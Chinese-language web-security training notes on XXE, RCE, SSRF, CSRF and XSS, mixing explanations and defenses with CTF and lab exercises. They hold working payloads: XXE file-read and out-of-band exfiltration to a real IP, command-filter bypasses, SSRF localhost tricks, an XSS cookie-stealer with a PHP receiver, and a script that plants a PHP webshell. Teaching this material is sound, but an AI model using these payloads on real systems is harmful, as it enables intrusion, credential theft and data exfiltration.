0%

思维导图

41WEB攻防

知识点:

  • 54、XXE&XML-原理-用途&外实体&安全
  • 55、XXE&XML-黑盒-格式类型&数据类型
  • 56、XXE&XML-白盒-函数审计&回显方案

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

详细点:

        XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网扫描、攻击内网等危害。

XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。
Example:网站的xml文件解析

XXE黑盒发现:

1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现:

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案:

  • 方案1-禁用外部实体
    1
    2
    3
    4
    5
    6
    PHP:
    libxml_disable_entity_loader(true);
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
    Python:
    from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 方案2-过滤用户提交的XML数据
    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

XML&XXE-传输-原理&探针&利用&玩法

1、读取文件:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE xiaodi [
<!ENTITY test SYSTEM "file:///d:/1.txt">
]>
<user><username>&test;</username><password>xiaodi</password></user>

1.1、带外测试:

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

2、外部引用实体dtd:

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/xiaodi.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>
xiaodi.dtd
<!ENTITY send SYSTEM "file:///d:/1.txt">

3、无回显读文件

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

4、其他玩法(协议)-见参考地址

https://www.cnblogs.com/20175211lyz/p/11413335.html

XML&XXE-黑盒-JS&黑盒测试&类型修改

http://web.jarvisoj.com:9882/

XXE黑盒发现:

1、获取Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
流程:功能分析-前端提交-源码&抓包-构造Paylod测试
更改请求数据格式:Content-Type

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

XML&XXE-白盒-CMS&PHPSHE&无回显

审计流程:

1、漏洞函数simplexml_load_string
2、pe_getxml函数调用了漏洞函数
3、wechat_getxml调用了pe_getxml
4、notify_url调用了wechat_getxml
访问notify_url文件触发wechat_getxml函数,构造Paylod测试
先尝试读取文件,无回显后带外测试:

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn">
%file;
]>
<root>&send;</root>

然后带外传递数据解决无回显:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

思维导图

41WEB攻防

知识点:

  • 52、RCE-原理-代码执行&命令执行
  • 53、RCE-黑白盒-过滤绕过&不回显方案

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

RCE

RCE代码执行:引用脚本代码解析执行
RCE命令执行:脚本调用操作系统命令
漏洞函数:

  • 1.PHP:
    PHP代码执行函数:
        eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
    PHP命令执行函数:
        system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
  • 2.Python:
    eval exec subprocess os.system commands
  • 3.Java:
            Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

代码执行:

脚本——java,php,python
产生——Web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品

命令执行:

系统——Linux、Windows
产生——web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品

RCE-利用&绕过&异或&回显

1、伪协议玩法

配合文件包含伪协议(代码执行)

1
2
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>
include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php

(1)关键字过滤:

  • 1、过滤flag关键字
    通配符
    1
    2
    3
    flag=fl*
    cat fl*
    cat ?la*
  • 2、转义符号
    1
    2
    ca\t /fl\ag
    cat fl''ag
  • 2、1使用空变量$*和$@,$x,${x}绕过
    1
    2
    3
    4
    ca$*t fl$*ag
    ca$@t fl$@ag
    ca$5t f$5lag
    ca${2}t f${2}lag
  • 3、拼接法

a=fl;b=ag;cat$IFS$a$b

  • 4、反引号绕过:

```cat `ls````

  • 5、编码绕过:
    1
    2
    echo 'flag' | base64
    cat `echo ZmxhZwo= | base64 -d`
  • 6、组合绝活
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    touch "ag"
    touch "fl\\"
    touch "t \\"
    touch "ca\\"
    ls -t >shell
    sh shell
    // \指的是换
    // ls -t是将文本按时间排序输出
    // ls -t >shell 将输出输入到shell文件中
    // sh将文本中的文字读取出来执行
  • 7、异或无符号(过滤0-9a-zA-Z)
    异或:rce-xor.php & rce-xor.py
    或:rce-xor-or.php & rce-xor-or.py

(2)过滤函数关键字

  • 1、内敛执行绕过(system)
    1
    2
    3
    4
    echo `ls`;
    echo $(ls);
    ?><?=`ls`;
    ?><?=$(ls);
  • 2、过滤执行命令(如cat tac等)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    sh /flag 2>%261 //报错出文件内容
    curl file:///root/f/flag
    strings flag
    uniq -c flag
    bash -v flag
    rev flag
  • 3、过滤空格
    1
    2
    3
    4
    %09(url传递)(cat%09flag.php)
    cat${IFS}flag
    a=fl;b=ag;cat$IFS$a$b
    {cat,flag}

(3)无回显利用

1、直接写个文件访问查看
2、直接进行对外访问接受

白盒-CTF-RCE代码命令执行

  • 29-通配符

system('tac fla*.php');

  • 30-取代函数&通配符&管道符
    1
    2
    `cp fla*.ph* 2.txt`;
    echo shell_exec('tac fla*.ph*');
  • 31-参数逃逸

eval($_GET[1]);&1=system('tac flag.php');

  • 32~36-配合包含&伪协议
    1
    2
    include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
    include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • 37~39-包含RCE&伪协议&通配符
    1
    2
    data://text/plain,<?php system('tac fla*');?>
    php://input post:<?php system('tac flag.php');?>

黑盒-运行-RCE代码命令执行

代码在线运行平台测试

思维导图

41WEB攻防

知识点:

  • 49、SSRF-原理-外部资源加载
  • 50、SSRF-利用-伪协议&无回显
  • 51、SSRF-挖掘-业务功能&URL参数

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….




1、SSRF漏洞原理

SSRF(Server-Side Request Forgery:服务器端请求伪造)
一种由攻击者构造形成由服务端发起请求的一个安全漏洞;
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

2、SSRF漏洞挖掘

黑盒探针:

  • 业务功能点
    1.社交分享功能:获取超链接的标题等内容进行显示
    2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
    3.在线翻译:给网址翻译对应网页的内容
    4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
    5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
    6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
    7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
    8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
    9.邮件系统:比如接收邮件服务器地址
    10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
    11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

  • URL关键参数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    share
    wap
    url
    link
    src
    source
    target
    u
    display
    sourceURl
    imageURL
    domain

    白盒分析:见代码审计(文件读取,加载,数据操作类的函数)

3、SSRF伪协议利用

1
2
3
4
5
6
7
8
9
http://  Web常见访问,如http://127.0.0.1  
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

4、SSRF绕过方式

  • 限制为http://www.xxx.com 域名
    采用http基本身份认证的方式绕过,即@http://www.xxx.com@www.xxyy.com

  • 限制请求IP不为内网地址
    当不允许ip为内网地址时:
    (1)采取短网址绕过
    (2)采取域名解析
    (3)采取进制转换
    (4)采取3XX重定向

5、SSRF漏洞防御

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

CTFSHOW SSRF 白盒

CTF 绕过

  • 1、无过滤直接获取

url=http://127.0.0.1/flag.php

  • 2-3、IP地址进制绕过
    十六进制

url=http://0x7F.0.0.1/flag.php

八进制
url=http://0177.0.0.1/flag.php

10 进制整数格式
url=http://2130706433/flag.php

16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php

还有一种特殊的省略模式
127.0.0.1写成127.1

用CIDR绕过localhost
url=http://127.127.127.127/flag.php

还有很多方式

1
2
url=http://0/flag.php  
url=http://0.0.0.0/flag.php
  • 4、域名解析IP绕过
    1
    2
    test.xiaodi8.com -> 127.0.0.1
    url=http://test.xiaodi8.com/flag.php
  • 5、长度限制IP绕过

url=http://127.1/flag.php

  • 6、长度限制IP绕过

url=http://0/flag.php

  • 7、利用重定向解析绕过
    1
    2
    3
    <?php
    header("Location:http://127.0.0.1/flag.php");
    url=http://47.94.236.117/xx.php
  • 8、匹配且不影响写法解析

url=http://ctf.@127.0.0.1/flag.php?show

思维导图

41WEB攻防

知识点:

  • 46、CSRF-原理&检测&利用&防御
  • 47、CSRF-防御-Referer策略隐患
  • 48、CSRF-防御-Token校验策略隐患

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….



CSRF-无检测防护-检测&生成&利用

检测:黑盒手工利用测试,白盒看代码检验(有无token,来源检验等)
生成:BurpSuite->Engagement tools->Generate CSRF Poc
利用:将文件防止自己的站点下,诱使受害者访问(或配合XSS触发访问)

CSRF-Referer同源-规则&上传&XSS

https://blog.csdn.net/weixin_50464560/article/details/120581841
严谨代码PHP DEMO:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// 检测来源
function checkReferrer() {
$expectedReferrer = "http://example.com"; // 期望的来源页面

if (!isset($_SERVER['HTTP_REFERER']) || $_SERVER['HTTP_REFERER'] !== $expectedReferrer) {
die("非法访问");
}
}

// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 检测来源
checkReferrer();

// 获取用户输入的数据
$name = $_POST['name'];
$email = $_POST['email'];

// 输出用户输入的数据
echo "姓名:$name<br>";
echo "邮箱:$email<br>";
exit;
}
?>

<!DOCTYPE html>
<html>
<head>
<title>检测来源示例</title>
</head>
<body>
<h1>检测来源示例</h1>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
<label for="name">姓名:</label>
<input type="text" name="name" id="name" required />
<br>
<label for="email">邮箱:</label>
<input type="email" name="email" id="email" required />
<br>
<input type="submit" value="提交" />
</form>
</body>
</html>

绕过0:规则匹配绕过问题(代码逻辑不严谨)
1、
2、http://xx.xx.xx.xx/http://xx.xx.xx.xx
绕过1:配合文件上传绕过(严谨使用同源绕过)
绕过2:配合存储XSS绕过(严谨使用同源绕过)

CSRF-Token校验-值删除&复用&留空

https://blog.csdn.net/weixin_50464560/article/details/120581841
严谨代码PHP DEMO:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
session_start();

// 生成并存储 CSRF Token
function generateCSRFToken() {
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
return $token;
}

// 检查 CSRF Token 是否有效
function validateCSRFToken($token) {
return isset($_SESSION['csrf_token']) && $_SESSION['csrf_token'] === $token;
}

// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 检查 CSRF Token
if (!isset($_POST['csrf_token']) || !validateCSRFToken($_POST['csrf_token'])) {
die("CSRF Token 验证失败");
}

// 获取用户输入的数据
$name = $_POST['name'];
$email = $_POST['email'];

// 输出用户输入的数据
echo "姓名:$name<br>";
echo "邮箱:$email<br>";
exit;
}

// 生成 CSRF Token
$csrfToken = generateCSRFToken();
?>

<!DOCTYPE html>
<html>
<head>
<title>CSRF Token 示例</title>
</head>
<body>
<h1>CSRF Token 示例</h1>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>" />
<label for="name">姓名:</label>
<input type="text" name="name" id="name" required />
<br>
<label for="email">邮箱:</label>
<input type="email" name="email" id="email" required />
<br>
<input type="submit" value="提交" />
</form>
</body>
</html>

绕过0:将Token参数值复用(代码逻辑不严谨)
绕过1:将Token参数删除(代码逻辑不严谨)
绕过2:将Token参数值置空(代码逻辑不严谨)

思维导图

41WEB攻防

知识点:

  • 43、XSS跨站-安全防御-CSP策略
  • 44、XSS跨站-安全防御-HttpOnly
  • 45、XSS跨站-安全防御-XSSFilte

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

1. CSP (Content Security Policy 内容安全策略)

内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
合理使用上报可以及时发现XSS,利于尽快修复问题。

实验:
开启CSP时XSS的加载情况
未开启CSP时XSS的加载情况
绕过:有但鸡肋
https://xz.aliyun.com/t/12370
https://blog.csdn.net/a1766855068/article/details/89370320
header(“Content-Security-Policy:img-src ‘self’ “);

2. HttpOnly

禁止页面的JavaScript访问带有HttpOnly属性的Cookie。
PHP.INI设置或代码引用

1
2
3
-session.cookie_httponly =1
-ini_set("session.cookie_httponly", 1);
-setcookie('', '', time() + 3600, '/xss', '', false, true);

实验:
开启HttpOnly时XSS窃取Cookie的加载情况
未开启HttpOnly时XSS窃取Cookie的加载情况
绕过:有但鸡肋
(1) CVE-2012-0053
(2) PHPINFO页面/
(3) Flash/Java
https://blog.csdn.net/weixin_42478365/article/details/116597222
思路:不获取Cookie采用方式(钓鱼,浏览器攻击框架等)

3. XSS Filter

检查用户输入的数据中是否包含特殊字符, 如<、>、’、”,进行实体化等。

实验:手工分析&工具分析
Xss-Lab 标签及常见过滤绕过
环境下载:https://github.com/Re13orn/xss-lab
参考资料:https://xz.aliyun.com/t/4067
工具资料:https://github.com/s0md3v/XSStrike

  • 1、无任何过滤

<script>alert()</script>

  • 2、实体化 输入框没有

"> <script>alert()</script> <"

  • 3、全部实体化 利用标签事件 单引号闭合

' onfocus=javascript:alert() '

  • 4、全部实体化 利用标签事件 双引号闭合

" onfocus=javascript:alert() "

  • 5、事件关键字过滤 利用其他标签调用 双引号闭合

"> <a href=javascript:alert()>xxx</a> <"

  • 6、利用大小写未正则匹配

"> <sCript>alert()</sCript> <"

  • 7、利用双写绕过匹配

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

  • 8、利用Unicode编码
    1
    &#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029
  • 9、利用Unicode编码(内容检测)
    1
    &#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029;('http://')
  • 10、隐藏属性触发闭合

?t_sort=" onfocus=javascript:alert() type="text

黑盒XSS手工分析:
1、页面中显示的数据找可控的(有些隐藏的)
2、利用可控地方发送JS代码去看执行加载情况
3、成功执行即XSS,不能成功就看语句输出的地方显示(过滤)
4、根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)

思维导图

41WEB攻防

知识点:

  • 39、XSS跨站-攻击利用-凭据盗取
  • 40、XSS跨站-攻击利用-数据提交
  • 41、XSS跨站-攻击利用-网络钓鱼
  • 42、XSS跨站-攻击利用-溯源综合

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

XSS

漏洞原理:接受输入数据,输出显示数据后解析执行
基础类型:反射(非持续),存储(持续),DOM-BASE
拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传xss等
常用标签:https://www.freebuf.com/articles/web/340080.html
攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等
安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等
测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)

XSS跨站-攻击利用-凭据盗取

条件:无防护Cookie凭据获取
利用:XSS平台或手写接受代码
触发:

1
<script>var url='http://47.94.236.117/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>

接受:

1
2
3
4
5
6
7
<?php
$url=$_GET['u'];
$cookie=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
fclose($fp);
?>

XSS跨站-攻击利用-数据提交

条件:熟悉后台业务功能数据包,利用JS写一个模拟提交
利用:凭据获取不到或有防护无法利用凭据进入时执行其他

1
<script src="http://xx.xxx.xxx/poc.js"></script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{

},function(res3){},"json");


},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();

XSS跨站-攻击利用-网络钓鱼

1、部署可访问的钓鱼页面并修改
2、植入XSS代码等待受害者触发
3、将后门及正常文件捆绑打包免杀
https://github.com/r00tSe7en/Fake-flash.cn

XSS跨站-攻击利用-溯源综合

1、XSS数据平台-XSSReceiver
简单配置即可使用,无需数据库,无需其他组件支持
搭建:https://github.com/epoch99/BlueLotus_XSSReceiver-master
2、浏览器控制框架-beef-xss
只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用
搭建:

run --rm -p 3000:3000 janes/beef
1
ip:3000/ui/panel       u/p:beef/beef

思维导图

41WEB攻防

知识点:

  • 35、XSS跨站-MXSS&UXSS
  • 36、XSS跨站-SVG制作&配合上传
  • 37、XSS跨站-PDF制作&配合上传
  • 38、XSS跨站-SWF制作&反编译&上传

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

MXSS:

https://www.fooying.com/the-art-of-xss-1-introduction/

UXSS:

Universal Cross-Site Scripting
UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。
MICROSOFT EDGE uXSS CVE-2021-34506
Edge浏览器翻译功能导致JS语句被调用执行
https://www.bilibili.com/video/BV1fX4y1c7rX

SVG-XSS

        SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

1
2
<svg xmlns="http://www.w3.org/2000/svg" version="1.1"><circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /><script>alert(1)</script>
</svg>

PDF-XSS

1、创建PDF,加入动作JS
2、通过文件上传获取直链
3、直链地址访问后被触发
项目:迅捷PDF编辑器试用版

FLASH-XSS

  • 制作swf-xss文件:
    1、新建swf文件
    2、F9进入代码区域
    3、属性发布设置解析

    1
    2
    3
    4
    //取m参数
    var m=_root.m;
    //调用html中Javascript中的m参数值
    flash.external.ExternalInterface.call(m);

    触发:?m=alert(/xss/)
    项目:Adobe Flash Professional CS6

  • 测试swf文件xss安全性:
    1、反编译swf文件
    2、查找触发危险函数
    3、找可控参数访问触发
            xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
    项目:JPEXS Free Flash Decompiler

思维导图

41WEB攻防

知识点:

  • 33、XSS跨站-输入输出-原理&分类&闭合
  • 34、XSS跨站-分类测试-反射&存储&DOM

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….



XSS跨站-输入输出-原理&分类&闭合

漏洞原理:接受输入数据,输出显示数据后解析执行
基础类型:反射(非持续),存储(持续),DOM-BASE
拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传xss等
常用标签:https://www.freebuf.com/articles/web/340080.html
攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等
安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等
测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)

XSS跨站-分类测试-反射&存储&DOM

  • 数据交互的地方
    get、post、headers
    反馈与浏览
    富文本编辑器
    各类标签插入和自定义

  • 数据输出的地方
    用户资料
    数据输出
    评论,留言等
    关键词、标签、说明
    文件上传

  • 反射型XSS:(某案例测试)
            常见情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,
    由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击。

  • 存储型XSS:(某案例测试)
            存储型XSS是持久化的XSS攻击方式,将恶意代码存储于服务器端,当其他用户再次访问页面时触发,造成XSS攻击。

  • DOM-base型XSS:(某案例测试)
            通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。

思维导图

41WEB攻防

知识点:

  • 31、文件安全-前后台功能点-下载&读取&删除
  • 32、目录安全-前后台功能点-目录遍历&目录穿越

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

